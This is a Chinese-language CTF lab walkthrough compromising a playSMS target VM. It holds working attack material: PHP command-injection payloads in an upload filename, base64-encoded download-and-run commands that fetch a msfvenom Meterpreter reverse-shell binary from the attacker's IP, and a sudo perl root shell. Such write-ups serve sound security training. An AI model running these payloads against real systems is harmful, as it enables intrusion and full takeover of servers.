ctf训练 web安全命令注入漏洞

ctf训练 web安全命令注入漏洞

实验环境

一台kail攻击机 和 靶机
靶机镜像:https://pan.baidu.com/s/1FG3VbDmDGHY8rOtuOFhRxA
提取码:oues

安装打开靶机(使用Oracle VM VirtualBox打开):
(注意:靶机用桥接模式则攻击机也用桥接模式,注意检查!!!!)

接下来发现没法登陆,也没有办法获取ip地址
所以我们在kail下
进入控制台

使用netdiscover命令 netdiscover -r ip/子网掩码 命令来探测靶机

在这里插入图片描述

信息探测

扫描主机服务信息以及服务版本
– nmap -sV靶场lP地址

在这里插入图片描述

快速扫描主机全部信息
–nmap -T4 -A -v靶场IP地址

在这里插入图片描述

探测目录信息
– nikto -host http://靶场IP地址:端口

在这里插入图片描述

– dirb http://靶场IP地址:端口

在这里插入图片描述


深入挖掘

分析nmap . nikto扫描结果,并对结果进行分析,挖掘可以利用的信息;
查看一下index.html主页面
查看一下robots

在这里插入图片描述

使用浏览器打开http: / /ip:port/敏感页面,查看敏感信息,找到可利用的立置;

在这里插入图片描述


在这里插入图片描述


访问ange1没有任何可利用信息

在这里插入图片描述


访问angel1也是没有任何可利用信息

在这里插入图片描述

访问/nothing没有任何返回,但是有点儿404的味道

在这里插入图片描述


我们来随便访问一下,该页面服务器不存在,所以会报错404

在这里插入图片描述

接下来我们想着查看一下nothing目录的源代码PHP的源代码一般要注意一下它的注释

在这里插入图片描述


接下里我们去访问/tmp和/download都没有任何信息,所以这里的信息挖掘已经完毕

接下来继续去探索

在这里插入图片描述


到浏览器当中去访问,发现一个backup.zip文件,我们下载这个文件

在这里插入图片描述


在这里插入图片描述


将该文件复制到桌面上,然后发现这个文件是需要密码的

在这里插入图片描述


然后就会想到之前在robot里面找到的密码

#my secret pass
freedom
password
helloworld!
diana
iloveroot

我们对上面的密码进行尝试,发现第一个就成功了
这样桌面上就有该文件

在这里插入图片描述


这时我们看见该文件是个以mp3为后缀的文件,但是不一定是个mp3文件,这里我们需要判别一下该文件类型,这里的文件类型为文本文档,所以我们可以直接cat查看内容,然后这里面出现了一个url,在浏览器当中去访问试一试

在这里插入图片描述


然后我们发现这个是一个登录界面,在上图中我们发现了其用户名为touhid,然后将在robot里面发现的密码带入尝试,发现密码为diana

在这里插入图片描述


登录成功

在这里插入图片描述


登录-利用exploit-db

利用挖掘到的用户名和密码登陆系统,然后对系统是否使用某种CMS、SMS等进行查看。

利用现成的EXP进行渗透。

渗透测试技巧

–searchsploit 对应的系统

这里对应的系统为playSMS

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述


然后得到一些信息

在这里插入图片描述


在这里插入图片描述

我们发现浏览器当中访问得不到相应的信息,所以这里我们手动去寻找

在这里插入图片描述

这里由于提示上传csv文件,所以我们在桌面上新建一个csv文件

在这里插入图片描述


成功上传

在这里插入图片描述


接下来我们打开burpsuite

在这里插入图片描述

在这里插入图片描述

文件名这个位置改为自己想要执行的代码
代码内容

<?PHP system('uname -a'); dia();?>.PHP

在这里插入图片描述

在这里插入图片描述

然后go一下,发现该命令已经执行成功了

在这里插入图片描述


如果还想继续查看id,就必须重新抓包!!!!
操作步骤和上面雷同,

在这里插入图片描述


将1.csv修改

<?PHP system('id');die(); ?>.PHP

在这里插入图片描述


所以这里filename是存在代码注入的

准备shell

启用Metasploit监听

在这里插入图片描述

msf > use exploit/multi/handler

在这里插入图片描述

msf exploit(handler) > set payload linux/x86/meterpreter_reverse_tcp

在这里插入图片描述

show options查看对应参数

在这里插入图片描述


设置ip地址
msf.exploit(handler) >set lhost 攻击机ip

在这里插入图片描述

msf. exploit(handler) > run
执行到这里发现没有反弹回来一个shell
![在这里插入图片描述](https://www.icode9.com/i/ll/?i=20201205112519716.png

生成shell

msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.43.96 lport=4444 -f elf > /var/www/html/shell

这里发现了生成的shell文件

在这里插入图片描述

在这里插入图片描述

接下来要用到apache服务器,所以我们开启该服务

在这里插入图片描述

绕过防火墙上传shell

利用base64绕过防火墙检测
– service apache2 start

– echo ‘wget http://攻击机ip/s -O /tmp/a’ |base64

在这里插入图片描述

– echo ‘chmod 777 /tmp/a’ | base64

在这里插入图片描述

– echo ‘/tmp/a’ | base64

在这里插入图片描述

打开burpsuite抓包,和之前的步骤一样

在这里插入图片描述

修改filename参数内容
–“<?PHP shell_exec(base64_decode('base64encodestring'));die();?>.PHP"

filename="<?PHP system(base64_decode('d2dldCBodHRwOi8vMTkyLjE2OC40My45Ni9zIC1PIC90bXAvYQo='));die();?>.PHP"

在这里插入图片描述

在这里插入图片描述

再一次重新抓包

filename="<?PHP system(base64_decode('Y2htb2QgNzc3IC90bXAvYQo='));die();?>.PHP"

在这里插入图片描述

在这里插入图片描述

再一次抓包,改filename

filename=<?PHP system(base64_decode('L3RtcC9hCg=='));die();?>.PHP

在这里插入图片描述


在这里插入图片描述

然后这边终端已经成功反弹回来了shell

在这里插入图片描述


提升权限、获取Flag

登录服务器之后,反弹的shell的用户www-data。并不具备root权限。

使用sudo -l 查看www-data用户的sudo权限;

在这里插入图片描述

根据提示执行以下命令(现实渗透中,肯定存在这样的问题。程序员为了方便,便设置了不需要密码就可以执行sudo的操作)

sudo perl -e "exec ‘/bin/sh’ "
bash -i

在这里插入图片描述

查看flag值
cat flag

在这里插入图片描述

总结:

  • 对于每一个可以看到的信息都要查看,比如某个文件,某个目录,脑洞要大
  • 此外信息收集一定要充分,根据题目提示来逐步进行渗透测试;
  • 对于web系统,一定要注意利用现成的EXP。

相关文章

统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...
前言 之前做了微信登录,所以总结一下微信授权登录并获取用户...
FastAdmin是我第一个接触的后台管理系统框架。FastAdmin是一...
之前公司需要一个内部的通讯软件,就叫我做一个。通讯软件嘛...
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...